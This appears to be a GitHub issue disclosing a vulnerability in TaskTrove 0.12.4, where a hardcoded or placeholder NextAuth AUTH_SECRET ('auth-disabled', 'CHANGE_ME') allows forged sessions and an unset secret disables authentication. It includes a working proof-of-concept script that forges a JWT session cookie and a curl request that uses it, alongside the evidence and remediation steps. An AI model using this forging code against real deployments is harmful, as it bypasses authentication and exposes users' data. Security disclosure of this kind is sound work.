Skip to content

Predictable AUTH_SECRET Enables Forged NextAuth Sessions #273

Description

@28Hus

Predictable AUTH_SECRET Enables Forged NextAuth Sessions

Severity: High when a public placeholder is configured
CWE: CWE-798 (Use of Hardcoded Credentials), CWE-321 (Use of Hard-coded Cryptographic Key)
Affected version: 0.12.4
Affected revision: f5b9550096d6e6190dd12a82af487adcea66be06

Summary

TaskTrove uses NextAuth JWT sessions but does not require a strong, unique AUTH_SECRET.

The authentication configuration falls back to this hardcoded value:

auth-disabled

The self-hosting Pro Compose template configures authentication with another public value:

CHANGE_ME

When AUTH_SECRET=CHANGE_ME is used, an attacker who knows the public value can generate a valid NextAuth JWT session and access routes protected by withAuthentication without the configured password.

When AUTH_SECRET is completely unset, the application instead disables authentication checks. That is a separate fail-open deployment mode described below.

Evidence

Predictable NextAuth session secret

apps/web/auth.ts#L65-L84 enables JWT sessions and configures the fallback:

session: {
  strategy: "jwt",
},
// when AUTH_SECRET is not set, disable auth
secret: process.env.AUTH_SECRET || "auth-disabled",

The same file assigns the authenticated user a fixed ID of "1" in the credentials provider at #L37-L52.

The self-hosting template exposes a public authentication secret:

Protected route consumption

apps/web/lib/middleware/auth.ts#L64-L104 calls auth() and accepts the request when a session with session.user exists.

This wrapper protects state-changing and data-reading routes, including:

The application’s own tests confirm that AUTH_SECRET is optional and that missing configuration bypasses authentication:

Deployment conditions

There are two relevant configurations:

  1. AUTH_SECRET=CHANGE_ME: authentication is enabled, but the NextAuth JWT secret is publicly known. Forged session cookies can be accepted.
  2. AUTH_SECRET unset: isAuthEnabled() returns false, and withAuthentication() calls the protected handler directly. The default self-hosting Compose file leaves AUTH_SECRET commented out at selfhost/docker-compose.yml#L7-L10.

The first configuration is a token-forgery issue. The second configuration is an authentication-disabled deployment mode. Both are unsafe if the service is exposed beyond a trusted local user.

Proof of concept

Run this only against a local TaskTrove instance. The PoC uses NextAuth’s own JWT encoder and does not contact or modify any remote system.

// poc.mts
import { encode } from "next-auth/jwt"

const secret = process.env.AUTH_SECRET || "CHANGE_ME"
const salt = process.env.AUTH_COOKIE_NAME || "authjs.session-token"

const token = await encode({
  secret,
  salt,
  token: {
    sub: "1",
    id: "1",
    name: "forged-user",
  },
})

console.log(token)
# Run from the TaskTrove web workspace with its dependencies installed.
AUTH_SECRET=CHANGE_ME pnpm exec tsx poc.mts

# Use the generated value as the session cookie on a local instance.
curl -i http://127.0.0.1:3000/api/v1/tasks \
  -H "Cookie: authjs.session-token=${FORGED_TOKEN}"

Expected result: with AUTH_SECRET=CHANGE_ME, NextAuth can decrypt the attacker-generated session, auth() returns a session containing user ID 1, and withAuthentication() allows the request to reach the protected route.

For HTTPS deployments, use the deployment’s secure cookie name, commonly __Secure-authjs.session-token, as the AUTH_COOKIE_NAME/salt value and send that cookie name in the request.

Impact

An unauthenticated attacker who knows the configured public placeholder can forge a valid NextAuth session. The attacker can then access protected TaskTrove API routes and perform actions as the application’s single user, including creating, changing, or deleting task data, depending on the enabled route set.

If AUTH_SECRET is omitted entirely, the application’s authentication middleware is bypassed by design. Any network-accessible deployment in that mode exposes routes intended to be protected by withAuthentication.

Remediation

  1. Remove auth-disabled and CHANGE_ME as authentication secrets.
  2. Require AUTH_SECRET at startup and fail closed when it is missing, empty, or a known placeholder.
  3. Generate a unique random value, for example openssl rand -base64 32, and provide it through a secret manager or protected deployment environment.
  4. Do not use “authentication disabled” as the default for an exposed deployment. If local unauthenticated mode is required, require an explicit opt-in flag and bind it to loopback by default.
  5. Rotate AUTH_SECRET on affected deployments and invalidate existing sessions after rotation.
  6. Add a regression test proving that production startup fails without a strong AUTH_SECRET and that a token signed with a known placeholder is rejected.

Disclosure note

I could not find a repository-specific SECURITY.md or a visible private vulnerability-reporting channel. For that reason, this report is provided in Issue-compatible format as a fallback.

This report is part of my ongoing research into the security of authentication mechanisms. If you have any questions about this finding or the evidence provided, please feel free to mention me in the discussion or contact me directly at any time. I would be very happy to discuss it and to contribute, in any way I can, to improving the security of TaskTrove.

References

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions